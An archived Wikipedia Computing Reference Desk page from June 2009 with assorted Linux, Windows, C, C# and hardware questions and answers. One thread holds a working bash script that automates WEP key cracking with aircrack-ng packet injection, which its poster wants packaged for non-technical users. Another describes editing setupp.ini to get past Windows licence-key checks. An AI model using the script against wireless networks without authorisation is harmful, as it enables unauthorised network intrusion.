Wikipedia:Reference desk/Archives/Computing/2009 June 1
Computing desk | ||
---|---|---|
< May 31 | << May | June | Jul >> | June 2 > |
Welcome to the Wikipedia Computing Reference Desk Archives |
---|
The page you are currently viewing is an archive page. While you can leave answers for any questions shown below, please ask new questions on one of the current reference desk pages. |
June 1
editPartition shift
editDear Wikipedians:
My favorite Slackware Linux is installed in the partition /dev/sda7. Recently I have split a partition that came before /dev/sda7 into two, hence pushing /dev/sda7 into /dev/sda8. I have remade a LILO bootdisk to bootup /dev/sda8, however, I find that when I try to boot the computer still looks for the root partition on /dev/sda7, which is now an NTFS partition.
I am wondering if there's anyway of getting /dev/sda8 to boot properly.
Thanks.
70.31.158.159 (talk) 01:17, 1 June 2009 (UTC)
- Well, there's two steps to changing the "root" partition that lilo looks for. First, you'll need to edit your 'lilo.conf' file, which is probably in /etc. If it's on the bootdisk, I'm not sure where it would be. Find the entry for Slackware, and make sure to change the line that says "root=/dev/sda7" to sda8. Once you're done, save the file. If you're running this from a bootdisk, change to the superuser if you aren't already, and run "lilo". That's the second step, and it actually applies the changes. I could be wrong on some of the details, it's been a while since I used a dedicated LILO bootdisk. Just let us know if that doesn't help. Indeterminate (talk) 02:12, 3 June 2009 (UTC)
- Thanks. L33th4x0r (talk) 01:06, 5 June 2009 (UTC)
/dev/sda16 in Linux
editDear Wikipedians:
I ran into a most unexpected problem: My Linux box is refusing to recognizing partitions above /dev/sda15! (I use a SATA drive)
I googled the problem and it was suggested that /dev/sda16 is actually /dev/sdb. I tried to mount /dev/sdb, also /dev/sdb1 to /dev/sdb15, all are useless.
I'm wondering if there is anyway of getting Linux to mount /dev/sda16 and higher partitions?
Thanks,
70.31.158.159 (talk) 02:22, 1 June 2009 (UTC)
- Does it actually show up in /dev/? What happens if you view your hard drive in gparted (or fdisk -l)? --antilivedT | C | G 05:06, 1 June 2009 (UTC)
- Linux only allows 16 (0-15) SCSI block devices. The SATA devices use a SCSI interface. If you look at the major and minor mode numbers of /dev/sda15, you'll see it is 8,15, and that /dev/sdb is 8,16. That's probably where you're seeing the suggestion to use sdb. Offhand, I can't think of how you could create a 16th partition on a SATA disk and use it in linux, other than use LVM instead of partitions. -- JSBillings 18:19, 1 June 2009 (UTC)
- Thanks, that's what I found out on Google too. Apparently Linux is using SCSI for SATA, which has the stupid 15 drive limit. This makes me feel so angry. Normally things should work in Linux and not in Windows, not the other way around. Well, guess there's nothing I can do about it until they come out with a new libata or something. 70.31.158.159 (talk) 21:23, 1 June 2009 (UTC)
- Although by no means a true solution for this problem, have you considered using LVM? In its simplest form, you can allocate an entire drive (minus maybe the /boot and / partitions) as a large physical volume, which can then be cut into as many logical volumes as needed (I'm not sure what the hypothetical maximum is, but I'm positive it's greater than 16). --Link (t•c•m) 11:36, 4 June 2009 (UTC)
- Thanks, that's what I found out on Google too. Apparently Linux is using SCSI for SATA, which has the stupid 15 drive limit. This makes me feel so angry. Normally things should work in Linux and not in Windows, not the other way around. Well, guess there's nothing I can do about it until they come out with a new libata or something. 70.31.158.159 (talk) 21:23, 1 June 2009 (UTC)
Compile interpretive language
edit#!/bin/bash
#Checks for and promps for data
echo "Please wait"
AIRESSID=$3
if [ x$1 = x]; then
echo "BSSID?"
read AIRBSSID
else
AIRBSSID=$1
fi
if [ x$2 = x]; then
echo "Channel?"
read AIRCHANNEL
else
AIRCHANNEL=$2
fi
if [ x$4 = x]; then
AIRTIME=3m
else
AIRTIME=$4
fi
#Start the wireless interface in monitor mode on the specific AP channel
sudo ifconfig wlan0 down > null
sudo airmon-ng start wlan0 $AIRCHANNEL > null
sudo iwconfig wlan0 channel $AIRCHANNEL > null
#Use aireplay-ng to do a fake authentication with the access point
if [ $AIRESSID = ]; then
sudo aireplay-ng -1 0 -a $AIRBSSID -h 00:00:00:00:00:00 mon0 &
gnome-terminal -x sudo aireplay-ng -1 6000 -o 1 -q 10m -a $AIRBSSID -h 00:00:00:00:00:00 mon0 &
else
sudo aireplay-ng -1 0 -a $AIRBSSID -e $AIRESSID -h 00:00:00:00:00:00 mon0 &
gnome-terminal -x sudo aireplay-ng -1 6000 -o 1 -q 10m -e $AIRESSID -a $AIRBSSID -h 00:00:00:00:00:00 mon0 &
fi
#Start airodump-ng on AP channel with a bssid filter in a new window to collect the new unique IVs
gnome-terminal -x sudo airodump-ng -c $AIRCHANNEL --bssid $AIRBSSID -w /home/User/output/output mon0 &
#Start aireplay-ng in ARP request replay mode to inject packets in new window
gnome-terminal -x sudo aireplay-ng -3 -b $AIRBSSID -h 00:00:00:00:00:00 mon0 &
#waits while airodump gathers data
echo "Please wait" $AIRTIME
sleep $AIRTIME
#Run aircrack-ng to crack key using the IVs collected
sudo aircrack-ng -z -b $AIRBSSID /home/User/output/output*.cap
#Stops the WiFi card and brings it back up for use by the user.
sudo airmon-ng stop mon0 > null
sudo ifconfig wlan0 down > null
This relates to my last question here (to which i would like to say thank you to those who helped). Is there away to compile this script(the one above) and the programs it uses in to a nice little stand alone program?
Smileyhill (talk) 05:29, 1 June 2009 (UTC)
- The reason this would be difficult is because you are calling several external programs. Unless those programs have available source code, it will be hard to link them into a single binary (I don't know if it's impossible to link an existing executable, but it isn't standard practice). Usually, linking occurs on object files, which would require source to build. Nimur (talk) 07:30, 1 June 2009 (UTC)
- I'm not sure what the problem is. Is it that you want the script to run faster? Or is it that you want to make a single packaage that includes everything that's used? Or do you just not want people to see what's in the scripts? Personally I tink having a script like thaty is the best way to deal with something like this. I'd probably go for python but that is also an interpreted scrfipt and would involve even more dependencies! Dmcq (talk) 11:48, 1 June 2009 (UTC)
- Comeau Computing, which makes some well-regarded C and C++ compilers, has ccsh, which turns Bourne shell code into C, which you can then compile. It won't link in executables called by your program, as far as I know (I don't know if that's even possible). --Sean 13:10, 1 June 2009 (UTC)
- The source to these programs are available. What i am trying to do is make a nice little package that a not-so-tech-savvy person could use. And inevitable I'd like to build an automatic live CD similar to ophcrack but dealing with wifi instead. —Preceding unsigned comment added by Smileyhill (talk • contribs) 15:39, 1 June 2009 (UTC)
- You can design a graphical front-end without merging the external programs together. A lot of graphical front-ends exist for command-line utilities. If you are writing a program in C, for example, you can use the
exec("some_cmd_line_prog");
command to execute anything as if you were on the command line. Nimur (talk) 14:46, 2 June 2009 (UTC)
- You can design a graphical front-end without merging the external programs together. A lot of graphical front-ends exist for command-line utilities. If you are writing a program in C, for example, you can use the
Restoring one PC with the restore disk of another
editHere's the problem: My daughter's PC won't boot (Win XP professional, HP laptop). Starts booting, XP logo shows, then reboots, and reboots... It is heavily malware-infested. The hard-disk was ok, I backed up her files using Knoppix, and created a disk image with Partimage. Then installed Ubuntu (which, to my mind worked flawlessly), but she wasn't happy with the solution. So I've written back the old unbootable partition, and we're back to square one. I read a while ago here about the clamav live CD, so I tried that too (found and deleted 17 infected files), but the PC still won't boot. I've also tried safe mode, of course, identical symptoms. I've also tried re-installing win XP with an original XP disk and her activation key, but the installation program reports that the activation key is invalid.
Here's my proposed solution: The PC was bought through her school (which she now has left). Her former classmates have identical PC's. I assume that there is a menu item somewhere for creating a restore CD/DVD. If we created a restore CD on one of their PCs, would that CD be usable for restoring her PC, or would it already be customized with the activation key of the friend's PC, resulting in both PC's having the genuine advantage of being listed as pirated? I know the activation key is stored in a separate file (somewhere in \windows\system32, I think), would copying this file avoid any such problems?
Here's the question: Will it work? --NorwegianBlue talk 10:37, 1 June 2009 (UTC)
- And in case someone should ask, "Why don't you just contact the IT people at her old school?", I am aware of that option. --NorwegianBlue talk 10:37, 1 June 2009 (UTC)
- I'm not aware of any support solutions that allow users to make their own restore disks, but I may have a way around the infinite rebots. XP has a stupid response to BSODs - it reboots. So if it's during the booting process it gets stuck in an infinite reboot loop. You can, however, turn this "feature" off by pressing F8 during booting (same place where you choose safe mode), and then at least you get to see what the BSOD is about. But in general if you can't even get into safe mode it's probably a waste of time to fix. --antilivedT | C | G 11:27, 1 June 2009 (UTC)
- Thanks. I'll have a look at it, but BSODs tend to be rather uninformative. --NorwegianBlue talk 14:01, 1 June 2009 (UTC)
- I'm not aware of any support solutions that allow users to make their own restore disks, but I may have a way around the infinite rebots. XP has a stupid response to BSODs - it reboots. So if it's during the booting process it gets stuck in an infinite reboot loop. You can, however, turn this "feature" off by pressing F8 during booting (same place where you choose safe mode), and then at least you get to see what the BSOD is about. But in general if you can't even get into safe mode it's probably a waste of time to fix. --antilivedT | C | G 11:27, 1 June 2009 (UTC)
- I think it's pretty common these days to put a recovery partition on the hard drive with the option to burn CDs. It's cheaper than shipping them. Obviously pressed recovery CDs are not keyed to a particular machine, and I assume burned CDs are the same, though I've never used them. It would be less of a support hassle that way. You don't need CDs for this, though, if the recovery partition is intact—are you sure there isn't a recovery process you can trigger in the BIOS?
- I don't see why the XP disk would claim your key is invalid. If it came with the PC then it should work perfectly well for a clean XP install. If it doesn't then complain to HP or whoever is supposed to provide your tech support (the university IT people?). -- BenRG (talk) 14:19, 1 June 2009 (UTC)
- There was no extra partition. I'll have a second look with knoppix if I can find any candidate files (.iso's, or large files/directories with names suggesting that they may be what I'm looking for). I used an installation CD that I bought separately, for a different PC. I think the reason the installation program rejected the activation key, is that the PC was OEM'ed to HP, whereas my installation CD was not linked to any particular system (and has its own activation key, that I'm saving for a PC that I'll buy shortly). We had a thread here some weeks ago where someone said that such combinations could lead to activation keys not being accepted. --NorwegianBlue talk 15:15, 1 June 2009 (UTC)
- Note that the recovery partition won't necessarily be visible from Linux (or Windows) because the BIOS may use low-level trickery to hide it before starting the boot process. I'd forgotten about the OEM versus retail problem. You can change a retail into an OEM disk by editing setupp.ini, as described here for example. -- BenRG (talk) 15:49, 1 June 2009 (UTC)
- Excellent! I'll scrutinize the BIOS, and try the setupp.ini trick if I can't find a BIOS option. --NorwegianBlue talk 15:56, 1 June 2009 (UTC)
- Note that the recovery partition won't necessarily be visible from Linux (or Windows) because the BIOS may use low-level trickery to hide it before starting the boot process. I'd forgotten about the OEM versus retail problem. You can change a retail into an OEM disk by editing setupp.ini, as described here for example. -- BenRG (talk) 15:49, 1 June 2009 (UTC)
- There was no extra partition. I'll have a second look with knoppix if I can find any candidate files (.iso's, or large files/directories with names suggesting that they may be what I'm looking for). I used an installation CD that I bought separately, for a different PC. I think the reason the installation program rejected the activation key, is that the PC was OEM'ed to HP, whereas my installation CD was not linked to any particular system (and has its own activation key, that I'm saving for a PC that I'll buy shortly). We had a thread here some weeks ago where someone said that such combinations could lead to activation keys not being accepted. --NorwegianBlue talk 15:15, 1 June 2009 (UTC)
- [1] —Preceding unsigned comment added by 82.44.54.169 (talk) 11:28, 1 June 2009 (UTC)
- Thanks but no thanks, 82.44.54.169. I don't think anyone here will want to try that one. According to the second google hit, it contains a trojan, there are no sites that I'd want to download executables from among the first several google hits, and of course no source code. --NorwegianBlue talk 13:56, 1 June 2009 (UTC)
- Well I tested it in a virtual machine before I used it on my computer, no problems so far going on two months. But I fully understand if you don't wanna use it for license reasons, I'm just saying I'm not trying to peddle trojans here. —Preceding unsigned comment added by 82.44.54.169 (talk) 14:07, 1 June 2009 (UTC)
- No offense intended! I'm pretty paranoid about what I download, and would never download an executable that I didn't even know the origin of. --NorwegianBlue talk 14:35, 1 June 2009 (UTC)
- lol fair enough. From what I recall each vendor has their own way to creating the recovery cds. Some prompt the user after a few days, and others only allow one recovery cd to be made before the option is disabled automatically. —Preceding unsigned comment added by 82.44.54.169 (talk) 14:55, 1 June 2009 (UTC)
- No offense intended! I'm pretty paranoid about what I download, and would never download an executable that I didn't even know the origin of. --NorwegianBlue talk 14:35, 1 June 2009 (UTC)
- Well I tested it in a virtual machine before I used it on my computer, no problems so far going on two months. But I fully understand if you don't wanna use it for license reasons, I'm just saying I'm not trying to peddle trojans here. —Preceding unsigned comment added by 82.44.54.169 (talk) 14:07, 1 June 2009 (UTC)
- Thanks but no thanks, 82.44.54.169. I don't think anyone here will want to try that one. According to the second google hit, it contains a trojan, there are no sites that I'd want to download executables from among the first several google hits, and of course no source code. --NorwegianBlue talk 13:56, 1 June 2009 (UTC)
- The easiest way to deal with a drive that won't boot is to attach is as a second drive to another machine. Because it's a laptop, you'd need to invest $4 to $8 in a cable to adapt from the smaller laptop pin configuration. Run a variety of virus and spyware removers against the sick drive. Don't forget that when you made the disk image, you included all the infections...one of which may have been a RootKit virus. Malwarebytes and RootRepealwould be my top choices for the scanning.
- The original CD that came with the laptop would be the one to use. There should be TWO setup.exe files on the CD, one in the root and one inside the Windows folder. One is for new installations, the other for over-writing an existing one. One will accept the existing key, the other not.(Sorry, I don't have mine here to check for you).From memory, try the one inside the Windows folder first.
- IF you get it going, immediately go to Control Panel - System - Startup&Recovery Settings, and turn off "Restart automatically" on system failure. It is best to keep this setting off on all Windows machines. KoolerStill (talk) 15:13, 1 June 2009 (UTC)
- Thanks. Sorry for not stating explicitly that the XP installation CD I used did not come with the laptop (see my reply to BenRG above for details). I do understand that the disk image contains the malware, and I much prefer a fresh install to a malware removal in these circumstances, hence my original question. --NorwegianBlue talk 15:30, 1 June 2009 (UTC)
- Update: I've tried BenRG's suggestions. There was no BIOS/Setup option for re-installing. I created two XP install CD's where setupp.ini was modified according to the link BenRG provided (using a binary editor directly on the .iso). The first (where OEM at the end of the "ExtraInfo" line was replaced by "270") behaved identically to the OEM CD. The second (where OEM was was replaced by "335"), offered the possibility of repairing an existing installation, in addition to a fresh install. At this point, however, the disk contained an interrupted install with the "270"-disk. In this setting, the installation program reported that the CD key was invalid. It's late here, so I'll have to continue later, but the result was somewhat promising. I'll try and reinstall the malware-infested disk, and repeat with the "335"-XP-install disk, and see if the activation key is requested/accepted then. Thanks. --NorwegianBlue talk 20:58, 1 June 2009 (UTC)
Query String and Anchor in URL
editFrom memory, the HTTP standard does not allow for a query string (?...) and an anchor (#...) in a single URL. Therefore, http://mysite.com?foo=bar#abc is invalid as well as http://mysite.com#abc?foo=bar. Has there been any development in standardizing the inclusion of both in a single URL or is it still one of those "If the browser supports it, write for one browser" sort of things? -- kainaw™ 14:47, 1 June 2009 (UTC)
- I don't think that's correct - I believe your first example was valid and standard-compliant. This forum references IETF RFC 2396, and states that the fragment identifier (#foo) gets truncated first, and the rest of the URI is then parsed. I think most web browsers use these semantics for parsing web URLs. For example, see this link, which can use a fragment identifier and a query string. Nimur (talk) 15:08, 1 June 2009 (UTC)
- Thanks. I am making up slides for a talk and I will correct them to show that the ...?...#... form is proper. -- kainaw™ 15:37, 1 June 2009 (UTC)
- At least, this link works, which, presuming Wikipedia is standards-compliant, could be relevant to your question. Jørgen (talk) 16:25, 1 June 2009 (UTC)
pasting from word 2003 into outlook 2003
editI have a template email that I use alot that is formatted in arial. I keep it stored in a word file, and when i need to use it i cut and paste it into a new email in outlook. everytime i paste, the text: "Monday through Friday, 9AM to 5PM Eastern Standard Time." comes out as times new roman, and i'm really tired of wasting my time reformatting that one line of text everytime I use this email. how can i fix this so it just pastes in arial like its supposed to? --Shaggorama (talk) 16:14, 1 June 2009 (UTC)
- There may be a blank area between the main text and the troublesome line, which is formatted in Times Roman. Coupled with a glitch in Outlook that doesn't pick up the change back to Arial.So in the original, highlight the entire template document, change it something else, then change it back to Arial. This guarantees only one font instruction for the whole text. If the troublesome line is in a footer, move it out into the main body of the document and remove the footer. KoolerStill (talk) 23:14, 1 June 2009 (UTC)
- Nicely done: you sir are a gentleman and a scholar. Thank you kindly for saving me about 15 seconds on each of hundreds of emails I need to send out (that shit adds up fast!). I only wish I'd asked a month ago. --Shaggorama (talk)
- Hey...so turns out that only worked temporarily for some reason. There appears to be some sort of autoformat acting on the text on the clipboard. I suspect it has something to do with the date words (monday, friday). --Shaggorama (talk) 17:42, 2 June 2009 (UTC)
- I don't know if this would help, but Windows Live Mail is free and pretty good. I use it myself. 99.224.125.166 (talk) 20:24, 2 June 2009 (UTC)
- Sorry the first line of defence wasn't permanent. It is a known Word/Outlook conflict problem. There are two workarounds on the Microsoft site which may be relevant. One is to be sure to use Web Options fonts, the other to change the Outlook defaults. A third (and probably faster) solution would be to store it, nicely fixed, as a Draft. You can copy and paste it from there.
- If you are sending the identical mail to many recipients, why do them individually? Send it to yourself as main recipient, and BCC (blind copy) it to everyone else. If the recipients are listed in a named Group, you only need enter the Group name. OR open the file in Word, choose File,Send to,Mail Recipient, and send it directly out of Word (it uses the Outlook settings).KoolerStill (talk) 08:56, 6 June 2009 (UTC)
Anonymous delegate methods in C#
editIn C#, it's possible to use anonymous delegate methods this way:
static delegate string Process(string original); private static void Perform(Process process) { Console.WriteLine(process("Hello world!")); } public static void Main() { Perform(delegate(string original) { return original; }); }
This will output "Hello world!
". But is it somehow possible to use the already defined delegate type name instead of repeating the definition, like this?
static delegate string Process(string original); private static void Perform(Process process) { Console.WriteLine(process("Hello world!")); } public static void Main() { Perform(new Process(string original) { return original; }); }
I've tried it the above way, but it doesn't even compile. Is there some other way? JIP | Talk 18:28, 1 June 2009 (UTC)
Who is
editIn Buddy memory allocation it states that - "...was independently developed by Knowlton ". Does anyone know more specifically who Knowlton was, ie a first name..
Also as an aside - for a compiled language - with dynamic variables - is it almost certain that buddy memory allocation will be used for these variables? Also do (some) languages actually specify data allocation types, or is it up to the compiler writer more generally? Also are there any more memory allocation mechanisms apart from the two mentioned at Dynamic memory allocation? Thanks77.86.10.194 (talk) 19:19, 1 June 2009 (UTC)
- I'm just writing this as a Googler and not a subject matter expert, but at this Google Book page, I searched for "Knowlton" and on page 85, it says, The (binary) buddy system was originally described by Knowlton [11,12]. Footnotes 11 and 12 in that book are for a Kenneth C. Knowlton for two articles in Communications of the ACM, from 1965 and 1966. We have an article Ken Knowlton who's a computer science pioneer; I will bet they're the same individual. Tempshill (talk) 19:25, 1 June 2009 (UTC)
- Unless there are two Kenneth Knowltons I think you're right. Thanks. I've altered the article but not the biography.77.86.10.194 (talk) 20:49, 1 June 2009 (UTC)
Difference between language itself and standard library
editIn a compiled, structured, statically-typed language such as C, I've always instinctively understood the distinction between the "language itself" and its standard library. But both are officially a fundamental part of the language as a whole. How to make a formal distinction between them?
For simplicity's sake, consider only C. As an example, the "language itself" includes operators such as +
, =
, ->
, sizeof
and so on, and constructs like if
, while
, return
and so on. The standard library, however, consists of, for example, functions like printf
, strlen
and so on, and headers such as >stdio.h
, string.h
and so on.
The distinction I know instinctively is that modifying the "language itself" involves modifications to the language's parsing and tokenisation rules, but modifying the standard library merely involves modifying the library files supplied with the compiler. However, both are equally defined as standardised, and at least in case of C, the standard allows the standard library to be "magical" - i.e. not actually included as separate library files, but handled internally by the compiler itself. Is there a formal distinction between the two, or do I simply have to use the instinctive distinction I mentioned above? JIP | Talk 20:29, 1 June 2009 (UTC)
- Your instinctive distinction is pretty much on the money. However, in practical terms, the standard library is a 'lesser' part of the standard than the language specification itself...it's kinda optional.
- The standard library isn't necessarily present in all implementations - and if you don't want to use it, you can certainly exclude it from the linking stage and everything should still be OK. In other words, the compiler shouldn't make calls to the standard library 'behind the scenes' unless you tell it to. In C, for example, if you are writing code for some tiny little embedded microcontroller (something like the Arduino computers I'm using in refurbishing my home-made CNC milling machine) there may not be a standard library implementation at all. In the case of the Arduino, it has so little RAM and ROM/flash that being stuck with the standard library would literally leave you no room for your own program...and on a machine with no screen, no keyboard and no disk drives, it makes very little sense to have all of that I/O stuff lying around. Hence, no printf and probably no strlen either. However, on a 'normal' computer - you have a reasonable expectation that the standard library exists - and if it does exist, that it conforms to the standard.
- Even in C, the standard library isn't allowed to be all that magical. I certainly can deliberately omit to '#include <stdio.h>' - and then proceed to write my own function called 'printf' that does whatever crazy thing I want it to do.
- However, for the language to be called "C" - even on some pathetic little microcontroller, you should be able to assume that all of the LANGUAGE features are there. But - of course - there are often liberties taken with that on teeny-tiny machines. For example, I can tell the version of GCC that compiles C for the Arduino to disallow all floating point operations in order that the floating point emulation library isn't compiled into my code (which is just as well because it takes up about half of the poor things' memory!)...however, when you do that, what you have is an incompatible C subset...not a proper implementation of the C language.
- But this distinction is pretty minor - if you have Windows, Mac, Linux, Solaris or BSD - any mainstream computer with a proper operating system, then you have every right to assume that the standard library is there and works exactly like the specification says it does.
- SteveBaker (talk) 20:53, 1 June 2009 (UTC)
- Be careful defining
printf()
yourself — C99 says that all standard library identifiers with external linkage must be the only things with such linkage, regardless of#include
s. Apparently you're safe if you keep them internal, but I'm not entirely sure that standard headers aren't allowed to implicitly include other standard headers for you. --Tardis (talk) 20:01, 2 June 2009 (UTC)
- Be careful defining
- In C, the distinction is there, but as Steve says really everything in C is optional (and as all sane C programs are system programs and all real system programming environments are one kind of weird or another) then the distinction is blurred. In practice it's more so; the "preprocessor" used to be a real thing, now it's subsumed into the lex parse of any serious C compiler (so sizeof is a compiler intrinsic, and really neither a preprocessor nor library object). memcpy() should formally be in the library, but many compilers (certainly gcc and msc++) just inline it, and the syntax phase of gcc knows all kinds of stuff about the format arg of printf that really break the notion of a formal boundary between it and the actual gnu libc implementation. Things are similarly incestuous in memory allocation land, and setjmp/longjmp (which knows things about how the compiler lays out stack frames that a mere library has no business knowing). Things in Java re much more incestuous (and I'd be surprised if C# is any different); java.lang is either implemented in C or is just part of the VM (and really there aren't genuine .class files or in-memory class objects for it, although the reflection API will fake java.lang.reflect.Class objects for things if you ask it), and the intimacy extends into java.util, java.util.event, subpackages of java.lang, and a bunch of native stuff; JNI acts as a cordon sanitare for the native C/C++ stuff that implements natives for other core java things like AWT - without it all kinds of supposedly library stuff has to know details of the VM implementation (and vice versa). 87.114.167.162 (talk) 21:20, 1 June 2009 (UTC)
- When writing code for small embedded processors (or softcore CPUs on FPGAs), it is common to have no room for the standard library in the instruction memory space (try fitting malloc() into 4 kilobits of .text memory!) If you ever have the (mis)fortune of working with one of these tiny processors, you will very quickly need to distinguish between language constructs and included libraries. Many "simple" operations will actually start linking in hundreds of kilobytes of external code. Further, some system libraries will provide features like floating-point software emulation which are so basic, you probably never even thought of them as residing outside the C language specification. (Floating point numbers are actually "required" by the ANSI C specification, but their implementation may require a system library if the hardware has no floating point unit. Then, the distinction between "language" and "library" gets very blurry). Nimur (talk) 14:59, 2 June 2009 (UTC)
How to get a new graphics card to work?
editOkay, that title is kind of misleading, because I think the card is working, but I don't think it's working well...
My g/f has a Dell Inspiron 531s with Windows Vista installed. We recently upgraded both the RAM and graphics card. Now, it has 4 gigs of RAM and an NVIDIA GeForce 8400 GS (256 MB). Not the most high-end card in the world, but the selection was limited by the fact that it needed to be half-height due to Dell's "slimline" tower. We chose that card because the card on my computer is similar (GeForce 7600 GT 256 MB) and it handles World of Warcraft just fine with only 2 gigs of RAM. Also, the reviews for the 8400 GS included several people saying it handled WoW fine, and since that's her game of choice, we figured we'd be set.
Well, everything installed fine -- the monitor is plugged into the new output port and everything displays fine. I checked the device manager in Windows and confirmed that the new card showed up under display drivers. We also downloaded and installed the most up-to-date display drivers for her card. But WoW's performance hasn't improved any ... in fact, it seems about as it was before the upgrades, even with all the display settings turned all the way down. I'm not sure what the problem is, exactly. I'm not looking for it to be perfect, but I'd expect the performance on her machine to be at least about the same as on mine, especially with the additional RAM.
So, any suggestions on what might be wrong? The graphics card the computer came with is integrated into the motherboard, I believe, so I guess it's possible it may still be using that instead of the card in the PCIe slot. But if that were true, how would things display at all with the monitor plugged into the new graphics card port? Also, I tried going into the BIOS, but I don't see any option to disable the onboard graphics adapter.
Thanks for your help... Dgcopter (talk) 22:44, 1 June 2009 (UTC)
- If there's no option to disable the onboard video, generally that means the motherboard logic will disable it if it sees a valid looking videocard in the PCIe slot. I'd check the GeForce control panel thing and make sure it's not overriding the WoW settings (I don't have one to hand, but they do have a bunch of complicated settings in there for who gets priority, and it's almost always sensible to let the application decide. Are you driving the monitor (which I presume is an LCD) at its native resolution ? - try changing (upping) the resolution - sometimes you end up forcing the graphics card to run at a resolution or in a mode for which it isn't suited (forcing it to fall back to slower operations). Now see if it's set with frame-sync (vsync) on; if so, try turning it off (vsync should merely limit the frame rate to the monitor's already very high rate, but occasionally the handshake can mess up and you're left with a weirdly slow framerate). Remove any KVM switch you may have between the PC and the monitor, as this can mess up the VESA/DDC communication between the two, making for weird settings. Force the display driver and wow to restore to defaults. If all else fails, uninstall the driver, reboot (probably twice), then reinstall the official nVidia driver (not the one that came with your card).
- Of course, all of the above assumes that the problem has anything to do with the video (rather than it just being where you're seeing it); verify that (both with and without WoW) that there aren't any suspiciously cpu-eating processes showing up in the task manager. 87.114.167.162 (talk) 23:07, 1 June 2009 (UTC)
- Thanks for those suggestions -- I'll try what you suggested. You did say one thing, though, that went over my head (due to a general ignorance of hardware matters): Remove any KVM switch you may have between the PC and the monitor... Could you explain what that means? I'm not sure what a KVM switch is... Dgcopter (talk) 23:40, 1 June 2009 (UTC)
- I second the advice to reinstall the device drivers, but completely uninstall all nVidia drivers first, reboot, reboot again, install the new ones, reboot yet another time and all should be well. WoW really isn't a GPU intensive game though, personal experience and much lurking on the WoW forums lead me to beleive the CPU has a much larger impact on performance than any other component of your system. What kind of frame rates are you seeing though? Dalaran on a busy day and full on 25 man raid combat will slow just about any system down! 161.222.160.8 (talk) 23:45, 1 June 2009 (UTC)
- I'll try the uninstall/reinstall trick. Regarding the framerate -- not sure, as I haven't witnessed the performance of her computer first-hand since she we installed the new card & RAM (was only a couple of days ago). My computer manages a fine framerate even in Dalaran and on 25-man raids -- I haven't bothered to check to see how much exactly, but it's not noticeably slower in those situations than anywhere else. I think our computers have similar CPUs, but I could be wrong. Dgcopter (talk) 00:00, 2 June 2009 (UTC)
Hate to break it to you but the 8400 you have bought is actually a little slower than the 7600 GS that you previously had. The majority of the 8 series cards were actually pretty awful for their numbers, except the 8800 series. Refer to this for a source - Tomshardware benchmarks. Nontheless I can recommend some things to do with WoW - if any addons are installed see if you can find lighter replacements, for instance if you use Questhelper or Carbonite you could replace it with LightHeaded and Doublewide ( here ). Also try turning shadows and view distance down, these seem to be the biggest FPS killers in the game. Gunrun (talk) 09:12, 2 June 2009 (UTC)
- To clarify, I didn't replace the 7600 with the 8400. The 7600 is currently in my own computer. The 8400 is in my girlfriend's, which is definitely an upgrade from the 64 MB integrated POS that the machine came with (don't remember the brand at the moment). Dgcopter (talk) 14:01, 2 June 2009 (UTC)
- Why not post this issue on the WoW technical forum? There are people there far more qualified to help with this kind of problem. BTW I think you should have spent a little more on at least the 8600. Sandman30s (talk) 20:05, 2 June 2009 (UTC)